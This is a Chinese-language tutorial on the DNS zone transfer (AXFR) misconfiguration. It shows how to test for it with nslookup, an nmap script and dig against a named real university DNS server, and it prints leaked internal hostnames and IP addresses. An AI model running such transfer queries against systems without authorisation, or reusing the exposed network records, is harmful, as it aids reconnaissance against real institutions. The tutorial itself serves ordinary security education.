DNS域傳送漏洞:域傳送是指后備服務器從主服務器拷貝數據,並用得到的數據更新自身數據庫。若DNS服務器配置不當,可能導致匿名用戶獲取某個域的所有記錄
什么是DNS?
DNS (Domain Name System 的縮寫)的作用非常簡單,就是根據域名查出IP地址。你可以把它想象成一本巨大的電話本。
舉例來說,如果你要訪問域名math.stackexchange.com,首先要通過DNS查出它的IP地址是151.101.129.69。
DNS服務器使用的TCP/UDP端口號是53。
最常用的DNS記錄有以下幾類:
| DNS | 類型 |
|---|---|
| A | IP地址記錄,記錄一個域名對應的IP地址 |
| AAAA | IPv6 地址記錄,記錄一個域名對應的IPv6地址 |
| CNAME | 別名記錄,記錄一個主機的別名 |
| MX | 電子郵件交換記錄,記錄一個郵件域名對應的IP地址,如root@xxxx.com |
| NS | 域名服務器記錄 ,記錄該域名由哪台域名服務器解析 |
| PTR | 反向記錄,也即從IP地址到域名的一條記錄 |
| TXT | 記錄域名的相關文本信息 |
nslookup命令
Windows下的nslookup命令:
λ nslookup.exe ?
用法:
1 λ nslookup.exe ? 2 用法: 3 nslookup [-opt ...] # 使用默認服務器的交互模式 4 nslookup [-opt ...] - server # 使用 "server" 的交互模式 5 nslookup [-opt ...] host # 僅查找使用默認服務器的 "host" 6 nslookup [-opt ...] host server # 僅查找使用 "server" 的 "host"
交互式nslookup命令:
1 λ nslookup.exe 2 默認服務器: UnKnown 3 Address: 8.8.8.8 4 5 > help 6 命令: (標識符以大寫表示,[] 表示可選) 7 NAME - 打印有關使用默認服務器的主機/域 NAME 的信息 8 NAME1 NAME2 - 同上,但將 NAME2 用作服務器 9 help or ? - 打印有關常用命令的信息 10 set OPTION - 設置選項 11 all - 打印選項、當前服務器和主機 12 [no]debug - 打印調試信息 13 [no]d2 - 打印詳細的調試信息 14 [no]defname - 將域名附加到每個查詢 15 [no]recurse - 詢問查詢的遞歸應答 16 [no]search - 使用域搜索列表 17 [no]vc - 始終使用虛擬電路 18 domain=NAME - 將默認域名設置為 NAME 19 srchlist=N1[/N2/.../N6] - 將域設置為 N1,並將搜索列表設置為 N1、N2 等 20 root=NAME - 將根服務器設置為 NAME 21 retry=X - 將重試次數設置為 X 22 timeout=X - 將初始超時間隔設置為 X 秒 23 type=X - 設置查詢類型(如 A、AAAA、A+AAAA、ANY、CNAME、MX、 24 NS、PTR、SOA 和 SRV) 25 querytype=X - 與類型相同 26 class=X - 設置查詢類(如 IN (Internet)和 ANY) 27 [no]msxfr - 使用 MS 快速區域傳送 28 ixfrver=X - 用於 IXFR 傳送請求的當前版本 29 server NAME - 將默認服務器設置為 NAME,使用當前默認服務器 30 lserver NAME - 將默認服務器設置為 NAME,使用初始服務器 31 root - 將當前默認服務器設置為根服務器 32 ls [opt] DOMAIN [> FILE] - 列出 DOMAIN 中的地址(可選: 輸出到文件 FILE) 33 -a - 列出規范名稱和別名 34 -d - 列出所有記錄 35 -t TYPE - 列出給定 RFC 記錄類型(例如 A、CNAME、MX、NS 和 PTR 等) 36 的記錄 37 view FILE - 對 'ls' 輸出文件排序,並使用 pg 查看 38 exit - 退出程序
1) 使用type參數可以設置記錄類型。
2) 使用ls命令,可以列出一個域下面所有的域名。
查詢DNS: nslookup -type=ns XX.com
查詢郵件服務器: nslookup -type=mx XX.com
在交互式shell中發現一個DNS服務器的域傳送漏洞的過程:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
D:\>nslookup
默認服務器
: public1.114dns.com
Address: 114.114.114.114
> server dns.nwpu.edu.cn
默認服務器
: dns.nwpu.edu.cn
Address: 202.117.80.2
> ls nwpu.edu.cn
[dns.nwpu.edu.cn]
nwpu.edu.cn. NS server = dns.nwpu.edu.cn
nwpu.edu.cn. NS server = dns1.nwpu.edu.cn
nwpu.edu.cn. NS server = dns2.nwpu.edu.cn
nwpu.edu.cn. NS server = dns3.nwpu.edu.cn
* A 222.24.192.99
(... 省略大量的記錄)
npunecas NS server = webcomp.npunecas.nwpu.edu.cn
webcomp.npunecas A 202.117.85.146
nwpu03 A 202.117.80.4
nwpudb2 A 222.24.210.149
poj A 192.168.0.248
portal A 61.150.43.10
portal1 A 222.24.192.31
portal2 A 222.24.192.32
rei A 202.117.85.10
saip NS server = saipserver.saip.nwpu.edu.cn
saipserver.saip A 202.117.85.72
test A 222.24.192.29
yzb A 202.117.85.3
zsb A 202.117.87.130
zygx A 202.117.80.9
|
操作基本的步驟是:
1) 輸入nslookup命令進入交互式shell
2) Server 命令參數設定查詢將要使用的DNS服務器
3) Ls命令列出某個域中的所有域名
4) Exit命令退出程序
以上示例了存在漏洞的DNS服務器,若是不存在漏洞的主機,則可能提示錯誤Query Refused:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
D:\>nslookup
默認服務器
: public1.114dns.com
Address: 114.114.114.114
> server ns.pku.edu.cn
默認服務器
: ns.pku.edu.cn
Address: 202.112.7.13
> ls pku.edu.cn
[ns.pku.edu.cn]
*** 無法列出域 pku.edu.cn: Query refused
DNS 服務器拒絕將區域 pku.edu.cn 傳送到您的計算機。如果這不正確,
請檢查
IP 地址 202.112.7.13 的 DNS 服務器上 pku.edu.cn 的
區域傳送安全設置。
|
使用nmap掃描DNS域傳送泄露漏洞
使用nmap掃描器附帶的腳本,可以掃描DNS服務器是否存在域傳送漏洞。語法為:
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=nwpu.edu.cn -p 53 -Pn dns.nwpu.edu.cn
上述命令命令說明如下:
- nmap –script dns-zone-transfer表示加載nmap文件夾下的腳本文件dns-zone-transfer.nse,擴展名.nse可省略
- –script-args dns-zone-transfer.domain=zonetransfer.me向腳本傳遞參數,設置列出記錄的域是nwpu.edu.cn
- -p 53設置掃描53端口
- -Pn設置通過Ping發現主機是否存活
Dig命令
dig來測試DNS服務器是否存在域傳送泄露。Dig是一個非常強大的DNS查詢工具,輸入“dig -h”查看它的使用說明
若將查詢類型設定為axfr,就能得到域傳送數據。這也是我們要用來測試DNS域傳送泄露的命令:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
root@li377-156:~# dig @dns.nwpu.edu.cn axfr nwpu.edu.cn
; <<>> DiG 9.8.1-P1 <<>> @dns.nwpu.edu.cn axfr nwpu.edu.cn
; (1 server found)
;; global options: +cmd
nwpu.edu.cn. 86400 IN SOA dns1.nwpu.edu.cn. hxn.nwpu.edu.cn. 2014041801 21600 3600 604800 10800
nwpu.edu.cn. 86400 IN NS dns.nwpu.edu.cn.
nwpu.edu.cn. 86400 IN NS dns1.nwpu.edu.cn.
nwpu.edu.cn. 86400 IN NS dns2.nwpu.edu.cn.
nwpu.edu.cn. 86400 IN NS dns3.nwpu.edu.cn.
nwpu.edu.cn. 600 IN MX 5 nwpu03.nwpu.edu.cn.
nwpu.edu.cn. 600 IN MX 15 nwpu03.nwpu.edu.cn.
*.nwpu.edu.cn. 86400 IN A 222.24.192.99
aisheng.nwpu.edu.cn. 86400 IN CNAME www.nwpu.edu.cn.
amec.nwpu.edu.cn. 86400 IN NS netserver.amec.nwpu.edu.cn.
(省略大量的記錄...)
nwpu.edu.cn. 86400 IN SOA dns1.nwpu.edu.cn. hxn.nwpu.edu.cn. 2014041801 21600 3600 604800 10800
;; Query time: 110 msec
;; SERVER: 202.117.80.2#53(202.117.80.2)
;; WHEN: Sun Apr 20 15:11:32 2014
;; XFR size: 188 records (messages 1, bytes 4021)
|
請注意,參數axfr后跟需要列出的域的名稱。上面的例子是nwpu.edu.cn。只要命令輸出中存在“XFR size”即代表該服務器存在漏洞。
參考資料:
